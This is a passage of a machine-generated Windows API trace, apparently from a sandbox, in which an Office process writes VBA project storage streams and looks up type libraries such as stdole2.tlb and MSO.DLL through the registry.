_Src=0x6ca2b96 | out: _Dst=0xb722d60) returned 0x0 [0284.712] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2bbe | out: _Dst=0xb722d60) returned 0x0 [0284.713] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2b46 | out: _Dst=0xb722d60) returned 0x0 [0284.713] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2be6 | out: _Dst=0xb722d60) returned 0x0 [0284.713] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2b16 | out: _Dst=0xb722d60) returned 0x0 [0284.713] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2b96 | out: _Dst=0xb722d60) returned 0x0 [0284.713] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2b96 | out: _Dst=0xb722d60) returned 0x0 [0284.713] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2c16 | out: _Dst=0xb722d60) returned 0x0 [0284.713] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2c42 | out: _Dst=0xb722d60) returned 0x0 [0284.713] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2c6a | out: _Dst=0xb722d60) returned 0x0 [0284.713] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2c92 | out: _Dst=0xb722d60) returned 0x0 [0284.713] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2cba | out: _Dst=0xb722d60) returned 0x0 [0284.714] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2cba | out: _Dst=0xb722d60) returned 0x0 [0284.714] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2ce2 | out: _Dst=0xb722d60) returned 0x0 [0284.715] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2ce2 | out: _Dst=0xb722d60) returned 0x0 [0284.715] CExposedStream::Write () returned 0x0 [0284.715] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2d0e | out: _Dst=0xb722d60) returned 0x0 [0284.715] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2d0e | out: _Dst=0xb722d60) returned 0x0 [0284.715] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2d3a | out: _Dst=0xb722d60) returned 0x0 [0284.716] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2d3a | out: _Dst=0xb722d60) returned 0x0 [0284.716] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2d66 | out: _Dst=0xb722d60) returned 0x0 [0284.717] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2d66 | out: _Dst=0xb722d60) returned 0x0 [0284.717] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2d8e | out: _Dst=0xb722d60) returned 0x0 [0284.717] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2d8e | out: _Dst=0xb722d60) returned 0x0 [0284.718] CExposedStream::Write () returned 0x0 [0284.718] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2c16 | out: _Dst=0xb722d60) returned 0x0 [0284.718] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2c16 | out: _Dst=0xb722d60) returned 0x0 [0284.718] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2cba | out: _Dst=0xb722d60) returned 0x0 [0284.718] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2ce2 | out: _Dst=0xb722d60) returned 0x0 [0284.718] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2d0e | out: _Dst=0xb722d60) returned 0x0 [0284.718] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2d3a | out: _Dst=0xb722d60) returned 0x0 [0284.718] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2d66 | out: _Dst=0xb722d60) returned 0x0 [0284.718] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2d8e | out: _Dst=0xb722d60) returned 0x0 [0284.718] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2bbe | out: _Dst=0xb722d60) returned 0x0 [0284.719] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2bbe | out: _Dst=0xb722d60) returned 0x0 [0284.719] CExposedStream::Write () returned 0x0 [0284.719] CExposedStream::Commit () returned 0x0 [0284.764] CExposedStream::Release () returned 0x0 [0284.764] wcscpy_s (in: _Destination=0x23c6d0, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0284.764] _ltow_s (in: _Value=2, _Buffer=0x23c6dc, _BufferCount=0x3a, _Radix=16 | out: _Buffer="2") returned 0x0 [0284.764] CExposedDocFile::OpenStream () returned 0x80030002 [0284.764] CExposedDocFile::CreateStream () returned 0x0 [0284.765] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xbd402c0 [0284.765] CExposedStream::AddRef () returned 0x2 [0284.765] CExposedStream::Release () returned 0x1 [0284.765] qsort (in: _Base=0xb6ac390, _NumOfElements=0x18, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5e15ff0 | out: _Base=0xb6ac390) [0284.767] CExposedStream::Write () returned 0x0 [0284.767] CExposedStream::Write () returned 0x0 [0284.767] CExposedStream::Write () returned 0x0 [0284.768] CExposedStream::Write () returned 0x0 [0284.768] CExposedStream::Commit () returned 0x0 [0284.771] CExposedStream::Release () returned 0x0 [0284.771] IMalloc:Free (This=0x7feffc15380, pv=0xbd402c0) [0284.771] wcscpy_s (in: _Destination=0x23c6d0, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0284.771] _ltow_s (in: _Value=3, _Buffer=0x23c6dc, _BufferCount=0x3a, _Radix=16 | out: _Buffer="3") returned 0x0 [0284.771] CExposedDocFile::OpenStream () returned 0x80030002 [0284.771] CExposedDocFile::CreateStream () returned 0x0 [0284.772] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xbd402c0 [0284.772] CExposedStream::AddRef () returned 0x2 [0284.772] CExposedStream::Release () returned 0x1 [0284.772] CExposedStream::Write () returned 0x0 [0284.772] CExposedStream::Commit () returned 0x0 [0284.776] CExposedStream::Release () returned 0x0 [0284.776] IMalloc:Free (This=0x7feffc15380, pv=0xbd402c0) [0284.776] CExposedDocFile::CreateStream () returned 0x0 [0284.776] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xbd402c0 [0284.776] CExposedStream::AddRef () returned 0x2 [0284.776] CExposedStream::Release () returned 0x1 [0284.776] CExposedStream::Seek () returned 0x0 [0284.776] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8c2150, cb=0x0) returned 0x0 [0284.776] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x7467b80 [0284.776] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x8) returned 0x7467b90 [0284.776] IMalloc:Realloc (This=0x7feffc15380, pv=0xb61e910, cb=0x8) returned 0x7467b90 [0284.776] CExposedStream::Seek () returned 0x0 [0284.776] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8c2180, cb=0x0) returned 0x0 [0284.777] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x7467bb0 [0284.777] CExposedStream::Seek () returned 0x0 [0284.777] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8c21b0, cb=0x0) returned 0x0 [0284.777] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x7467af0 [0284.777] ITypeInfo:RemoteGetTypeAttr (in: This=0xb901f70, ppTypeAttr=0x23c460, pDummy=0x6f9da90 | out: ppTypeAttr=0x23c460, pDummy=0x6f9da90*=0x7) returned 0x0 [0284.777] StringFromGUID2 (in: rguid=0x6f251b8*(Data1=0x20820, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x23c4a0, cchMax=39 | out: lpsz="{00020820-0000-0000-C000-000000000046}") returned 39 [0284.777] ITypeInfo:LocalReleaseTypeAttr (This=0xb901f70) returned 0x0 [0284.777] IUnknown:Release (This=0xb901f70) returned 0x1 [0284.777] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbe59250 [0284.777] CExposedStream::Seek () returned 0x0 [0284.777] IMalloc:Realloc (This=0x7feffc15380, pv=0xb61eac0, cb=0x48) returned 0xb414a40 [0284.777] CExposedStream::Seek () returned 0x0 [0284.777] CExposedStream::Seek () returned 0x0 [0284.777] CExposedStream::Seek () returned 0x0 [0284.777] CExposedStream::Seek () returned 0x0 [0284.777] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x8) returned 0x7467b00 [0284.778] IMalloc:Realloc (This=0x7feffc15380, pv=0xb61ea30, cb=0x8) returned 0x7467b00 [0284.778] IMalloc:Realloc (This=0x7feffc15380, pv=0xbad52e0, cb=0x0) returned 0x0 [0284.778] CExposedStream::Seek () returned 0x0 [0284.778] CExposedStream::Write () returned 0x0 [0284.778] CExposedStream::Seek () returned 0x0 [0284.778] CExposedStream::AddRef () returned 0x2 [0284.778] CExposedStream::Write () returned 0x0 [0284.778] CExposedStream::Release () returned 0x1 [0284.778] IMalloc:Free (This=0x7feffc15380, pv=0xbd402c0) [0284.778] CExposedStream::Seek () returned 0x0 [0284.778] CExposedStream::AddRef () returned 0x2 [0284.778] CExposedStream::Write () returned 0x0 [0284.778] CExposedStream::Release () returned 0x1 [0284.778] _mbscpy_s (in: _Dst=0x7fee60c2aa0, _DstSizeInBytes=0x400, _Src=0x7fee607e648 | out: _Dst=0x7fee60c2aa0) returned 0x0 [0284.778] _mbscpy_s (in: _Dst=0x7fee60c2aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee607e740 | out: _Dst=0x7fee60c2aaa) returned 0x0 [0284.778] _mbscpy_s (in: _Dst=0x7fee60c2ab5, _DstSizeInBytes=0x3eb, _Src=0x7467b20 | out: _Dst=0x7fee60c2ab5) returned 0x0 [0284.778] ITypeInfo:RemoteGetTypeAttr (in: This=0xb901f70, ppTypeAttr=0x23c320, pDummy=0x6f9da90 | out: ppTypeAttr=0x23c320, pDummy=0x6f9da90*=0x7) returned 0x0 [0284.778] StringFromGUID2 (in: rguid=0x6f251b8*(Data1=0x20820, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x23c360, cchMax=39 | out: lpsz="{00020820-0000-0000-C000-000000000046}") returned 39 [0284.778] ITypeInfo:LocalReleaseTypeAttr (This=0xb901f70) returned 0x0 [0284.778] IUnknown:Release (This=0xb901f70) returned 0x1 [0284.778] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbe59250 [0284.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0{00020820-0000-0000-C000-000000000046}", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0284.779] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb8c21b0 [0284.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0{00020820-0000-0000-C000-000000000046}", cchWideChar=40, lpMultiByteStr=0xb8c21b0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0{00020820-0000-0000-C000-000000000046}", lpUsedDefaultChar=0x0) returned 40 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2aa0, _DstSizeInBytes=0x400, _Src=0x7fee607e648 | out: _Dst=0x7fee60c2aa0) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee607e658 | out: _Dst=0x7fee60c2aaa) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2ab5, _DstSizeInBytes=0x3eb, _Src=0xb8c21b0 | out: _Dst=0x7fee60c2ab5) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2aa0, _DstSizeInBytes=0x400, _Src=0x7fee607e648 | out: _Dst=0x7fee60c2aa0) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee607e7f8 | out: _Dst=0x7fee60c2aaa) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2abf, _DstSizeInBytes=0x3e1, _Src=0x7fee607e2c8 | out: _Dst=0x7fee60c2abf) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2aa0, _DstSizeInBytes=0x400, _Src=0x7fee607e648 | out: _Dst=0x7fee60c2aa0) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee607e670 | out: _Dst=0x7fee60c2aaa) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2ab9, _DstSizeInBytes=0x3e7, _Src=0x7fee607e2c8 | out: _Dst=0x7fee60c2ab9) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2aa0, _DstSizeInBytes=0x400, _Src=0x7fee607e648 | out: _Dst=0x7fee60c2aa0) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee607e748 | out: _Dst=0x7fee60c2aaa) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2abd, _DstSizeInBytes=0x3e3, _Src=0x7fee607e59c | out: _Dst=0x7fee60c2abd) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2aa0, _DstSizeInBytes=0x400, _Src=0x7fee607e648 | out: _Dst=0x7fee60c2aa0) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee607e6a0 | out: _Dst=0x7fee60c2aaa) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2ab7, _DstSizeInBytes=0x3e9, _Src=0x7fee607e59c | out: _Dst=0x7fee60c2ab7) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2aa0, _DstSizeInBytes=0x400, _Src=0x7fee607e648 | out: _Dst=0x7fee60c2aa0) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee607e770 | out: _Dst=0x7fee60c2aaa) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2abf, _DstSizeInBytes=0x3e1, _Src=0x7fee607e2c8 | out: _Dst=0x7fee60c2abf) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2aa0, _DstSizeInBytes=0x400, _Src=0x7fee607e648 | out: _Dst=0x7fee60c2aa0) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee607e680 | out: _Dst=0x7fee60c2aaa) returned 0x0 [0284.779] _mbscpy_s (in: _Dst=0x7fee60c2abc, _DstSizeInBytes=0x3e4, _Src=0x7fee607e59c | out: _Dst=0x7fee60c2abc) returned 0x0 [0284.780] CExposedStream::Write () returned 0x0 [0284.780] CExposedStream::Commit () returned 0x0 [0284.782] CExposedStream::Release () returned 0x0 [0284.782] CExposedDocFile::CreateStream () returned 0x0 [0284.782] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xbd402c0 [0284.783] CExposedStream::AddRef () returned 0x2 [0284.783] CExposedStream::Release () returned 0x1 [0284.783] CExposedStream::Write () returned 0x0 [0284.783] IMalloc:Realloc (This=0x7feffc15380, pv=0x72cca80, cb=0x238) returned 0xb51cc50 [0284.783] CExposedStream::Write () returned 0x0 [0284.784] IMalloc:Realloc (This=0x7feffc15380, pv=0xb695b90, cb=0x54) returned 0xbe59250 [0284.784] CExposedStream::Write () returned 0x0 [0284.784] CExposedStream::Commit () returned 0x0 [0284.788] CExposedDocFile::CreateStream () returned 0x0 [0284.788] CExposedStream::AddRef () returned 0x2 [0284.788] CExposedStream::Write () returned 0x0 [0284.789] CExposedStream::Release () returned 0x1 [0284.789] SysStringByteLen (bstr="") returned 0x0 [0284.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4f3abf8, cbMultiByte=0, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 0 [0284.789] SysStringByteLen (bstr="") returned 0x0 [0284.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4f3abf8, cbMultiByte=1, lpWideCharStr=0xbe66ec8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0284.790] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x23c5c0 | out: phkResult=0x23c5c0*=0x75a) returned 0x0 [0284.790] RegOpenKeyW (in: hKey=0x75a, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0x23c5b8 | out: phkResult=0x23c5b8*=0x4b2) returned 0x0 [0284.790] RegEnumKeyW (in: hKey=0x4b2, dwIndex=0x0, lpName=0x23c5e8, cchName=0xa | out: lpName="1.0") returned 0x0 [0284.791] RegEnumKeyW (in: hKey=0x4b2, dwIndex=0x1, lpName=0x23c5e8, cchName=0xa | out: lpName="2.0") returned 0x0 [0284.791] wcscpy_s (in: _Destination=0x23c5d0, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0284.791] RegOpenKeyW (in: hKey=0x4b2, lpSubKey="2.0", phkResult=0x23c678 | out: phkResult=0x23c678*=0x4d6) returned 0x0 [0284.791] _ultoa_s (in: _Val=0x0, _DstBuf=0x23c5f0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0284.791] RegOpenKeyA (in: hKey=0x4d6, lpSubKey="0", phkResult=0x23c5e0 | out: phkResult=0x23c5e0*=0xc4a) returned 0x0 [0284.791] RegOpenKeyW (in: hKey=0xc4a, lpSubKey="win64", phkResult=0x23c5e8 | out: phkResult=0x23c5e8*=0x4b6) returned 0x0 [0284.792] RegCloseKey (hKey=0x4b6) returned 0x0 [0284.792] RegCloseKey (hKey=0xc4a) returned 0x0 [0284.792] _ultow_s (in: _Value=0x0, _Buffer=0x23c680, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0284.792] RegOpenKeyW (in: hKey=0x4d6, lpSubKey="0", phkResult=0x23c658 | out: phkResult=0x23c658*=0xc4a) returned 0x0 [0284.792] RegQueryValueW (in: hKey=0xc4a, lpSubKey="win64", lpData=0x23c6a0, lpcbData=0x23c654 | out: lpData="C:\\Windows\\system32\\stdole2.tlb", lpcbData=0x23c654) returned 0x0 [0284.793] wcscpy_s (in: _Destination=0x23c920, _SizeInWords=0x104, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0284.793] RegCloseKey (hKey=0xc4a) returned 0x0 [0284.793] RegCloseKey (hKey=0x4d6) returned 0x0 [0284.793] RegCloseKey (hKey=0x4b2) returned 0x0 [0284.793] RegCloseKey (hKey=0x75a) returned 0x0 [0284.793] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x23cce0*=0x0 | out: pptlib=0x23cce0*=0xb825f00) returned 0x0 [0284.793] ITypeLib:RemoteGetDocumentation (in: This=0xb825f00, index=-1, refPtrFlags=0x23ccf0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0284.794] CLSIDFromString (in: lpsz="{00020430-0000-0000-C000-000000000046}", pclsid=0x23cbe0 | out: pclsid=0x23cbe0*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0284.794] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x23c5c0 | out: phkResult=0x23c5c0*=0x75a) returned 0x0 [0284.794] RegOpenKeyW (in: hKey=0x75a, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0x23c5b8 | out: phkResult=0x23c5b8*=0x4d6) returned 0x0 [0284.795] RegEnumKeyW (in: hKey=0x4d6, dwIndex=0x0, lpName=0x23c5e8, cchName=0xa | out: lpName="2.6") returned 0x0 [0284.795] RegEnumKeyW (in: hKey=0x4d6, dwIndex=0x1, lpName=0x23c5e8, cchName=0xa | out: lpName="2.7") returned 0x0 [0284.795] RegEnumKeyW (in: hKey=0x4d6, dwIndex=0x2, lpName=0x23c5e8, cchName=0xa | out: lpName="2.8") returned 0x0 [0284.795] wcscpy_s (in: _Destination=0x23c5d0, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0 [0284.795] RegOpenKeyW (in: hKey=0x4d6, lpSubKey="2.8", phkResult=0x23c678 | out: phkResult=0x23c678*=0x4b6) returned 0x0 [0284.796] _ultoa_s (in: _Val=0x0, _DstBuf=0x23c5f0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0284.796] RegOpenKeyA (in: hKey=0x4b6, lpSubKey="0", phkResult=0x23c5e0 | out: phkResult=0x23c5e0*=0xd02) returned 0x0 [0284.796] RegOpenKeyW (in: hKey=0xd02, lpSubKey="win64", phkResult=0x23c5e8 | out: phkResult=0x23c5e8*=0xbaa) returned 0x0 [0284.796] RegCloseKey (hKey=0xbaa) returned 0x0 [0284.797] RegCloseKey (hKey=0xd02) returned 0x0 [0284.797] _ultow_s (in: _Value=0x0, _Buffer=0x23c680, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0284.797] RegOpenKeyW (in: hKey=0x4b6, lpSubKey="0", phkResult=0x23c658 | out: phkResult=0x23c658*=0xcca) returned 0x0 [0284.797] RegQueryValueW (in: hKey=0xcca, lpSubKey="win64", lpData=0x23c6a0, lpcbData=0x23c654 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0x23c654) returned 0x0 [0284.798] wcscpy_s (in: _Destination=0x23c920, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0284.798] RegCloseKey (hKey=0xcca) returned 0x0 [0284.798] RegCloseKey (hKey=0x4b6) returned 0x0 [0284.798] RegCloseKey (hKey=0x4d6) returned 0x0 [0284.798] RegCloseKey (hKey=0x75a) returned 0x0 [0284.798] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x23cce0*=0x0 | out: pptlib=0x23cce0*=0xb8264a0) returned 0x0 [0284.798] ITypeLib:RemoteGetDocumentation (in: This=0xb8264a0, index=-1, refPtrFlags=0x23ccf0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0284.799] CLSIDFromString (in: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", pclsid=0x23cbe0 | out: pclsid=0x23cbe0*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52))) returned 0x0 [0284.799] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb61ea30 [0284.799] _ultow_s (in: _Value=0x2, _Buffer=0x23ca6a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0284.799] _ultow_s (in: _Value=0x0, _Buffer=0x23ca6e, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0284.799] _ultow_s (in: _Value=0x0, _Buffer=0x23ca72, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0284.799] wcscpy_s (in: _Destination=0xbdc13e8, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0284.799] wcscpy_s (in: _Destination=0xbdc13ee, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0284.799] wcscpy_s (in: _Destination=0xbdc143a, _SizeInWords=0x6c, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0284.799] wcscpy_s (in: _Destination=0xbdc1448, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0284.799] wcscpy_s (in: _Destination=0xbdc14c8, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0 [0284.799] IMalloc:Free (This=0x7feffc15380, pv=0xb61ea30) [0284.799] CExposedStream::Write () returned 0x0 [0284.799] CExposedStream::Release () returned 0x0 [0284.799] CExposedStream::Release () returned 0x0 [0284.799] IMalloc:Free (This=0x7feffc15380, pv=0xbd402c0) [0284.799] wcscpy_s (in: _Destination=0x23cd10, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0284.799] _ltow_s (in: _Value=0, _Buffer=0x23cd1c, _BufferCount=0x3a, _Radix=16 | out: _Buffer="0") returned 0x0 [0284.800] CExposedDocFile::OpenStream () returned 0x80030002 [0284.800] CExposedDocFile::CreateStream () returned 0x0 [0284.800] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xbd402c0 [0284.800] CExposedStream::AddRef () returned 0x2 [0284.800] CExposedStream::Release () returned 0x1 [0284.800] CExposedStream::Write () returned 0x0 [0284.800] CExposedStream::Write () returned 0x0 [0284.800] CExposedStream::Write () returned 0x0 [0284.800] CExposedStream::Write () returned 0x0 [0284.800] CExposedStream::Write () returned 0x0 [0284.800] CExposedStream::Write () returned 0x0 [0284.800] CExposedStream::Write () returned 0x0 [0284.800] CExposedStream::Write () returned 0x0 [0284.800] CExposedStream::Write () returned 0x0 [0284.801] CExposedStream::Write () returned 0x0 [0284.801] CExposedStream::Write () returned 0x0 [0284.801] CExposedStream::Write () returned 0x0 [0284.802] CExposedStream::Write () returned 0x0 [0284.802] CExposedStream::Write () returned 0x0 [0284.802] CExposedStream::Write () returned 0x0 [0284.802] CExposedStream::Commit () returned 0x0 [0284.818] CExposedStream::Release () returned 0x0 [0284.819] IMalloc:Free (This=0x7feffc15380, pv=0xbd402c0) [0284.819] wcscpy_s (in: _Destination=0x23ccc0, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0284.819] _ltow_s (in: _Value=1, _Buffer=0x23cccc, _BufferCount=0x3a, _Radix=16 | out: _Buffer="1") returned 0x0 [0284.819] CExposedDocFile::OpenStream () returned 0x80030002 [0284.819] CExposedDocFile::CreateStream () returned 0x0 [0284.819] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xbd402c0 [0284.819] CExposedStream::AddRef () returned 0x2 [0284.819] CExposedStream::Release () returned 0x1 [0284.819] CExposedStream::Write () returned 0x0 [0284.819] CExposedStream::Commit () returned 0x0 [0284.858] CExposedStream::Release () returned 0x0 [0284.858] IMalloc:Free (This=0x7feffc15380, pv=0xbd402c0) [0284.858] IMalloc:Free (This=0x7feffc15380, pv=0x1078a360) [0284.858] IMalloc:Free (This=0x7feffc15380, pv=0xb743ff0) [0284.858] CExposedDocFile::Release () returned 0x0 [0284.858] CExposedDocFile::CreateStream () returned 0x0 [0284.858] CExposedStream::Write () returned 0x0 [0284.858] CExposedStream::Write () returned 0x0 [0284.858] CExposedStream::Write () returned 0x0 [0284.859] CExposedStream::Write () returned 0x0 [0284.859] CExposedStream::Write () returned 0x0 [0284.859] CExposedStream::Seek () returned 0x0 [0284.859] CExposedStream::SetSize () returned 0x0 [0284.859] CExposedStream::Release () returned 0x0 [0284.859] lstrcpyA (in: lpString1=0xe5bac2c, lpString2="PROJECT" | out: lpString1="PROJECT") returned="PROJECT" [0284.859] 